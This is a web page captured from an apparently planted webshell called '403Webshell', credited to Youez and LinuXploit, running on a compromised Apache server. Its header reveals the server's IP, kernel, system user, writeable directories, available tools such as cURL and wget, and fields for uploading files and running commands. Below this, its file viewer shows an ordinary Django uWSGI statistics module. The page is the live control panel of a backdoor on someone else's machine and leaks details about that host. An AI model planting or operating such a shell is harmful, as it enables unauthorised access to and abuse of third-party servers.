403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/django_uwsgi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/django_uwsgi/stats.py
import os
import time
from datetime import datetime
from django.utils.translation import ugettext_lazy as _
from . import uwsgi


def get_uwsgi_stats():
    uwsgi_stats = {}
    workers = uwsgi.workers()
    total_load = time.time() - uwsgi.started_on
    for w in workers:
        w['running_time'] = w['running_time'] / 1000
        w['avg_rt'] = w['avg_rt'] / 1000
        w['load'] = w['running_time'] / total_load / 10 / len(workers)
        w['last_spawn'] = datetime.fromtimestamp(w['last_spawn'])
    jobs = []
    if uwsgi.opt.get('spooler'):
        spooler_jobs = uwsgi.spooler_jobs()
        for j in spooler_jobs:
            jobs.append({'file': j, 'env': uwsgi.parsefile(str(j))})
    uwsgi_stats.update({
        'uwsgi': uwsgi,
        'stats': [
            ('loop', uwsgi.loop),
            ('masterpid', str(uwsgi.masterpid())),
            ('started_on', datetime.fromtimestamp(uwsgi.started_on)),
            ('now', datetime.now()),
            ('buffer_size', uwsgi.buffer_size),
            ('total_requests', uwsgi.total_requests()),
            ('numproc', uwsgi.numproc),
            ('cores', uwsgi.cores),
            ('cwd', os.getcwd()),
            ('logsize', uwsgi.logsize()),
            ('spooler_pid', uwsgi.spooler_pid() if uwsgi.opt.get('spooler') else _('disabled')),
            ('threads', _('enabled') if uwsgi.has_threads else _('disabled'))
        ],
        'workers': workers,
        'jobs': jobs
    })
    return uwsgi_stats

Youez - 2016 - github.com/yon3zu
LinuXploit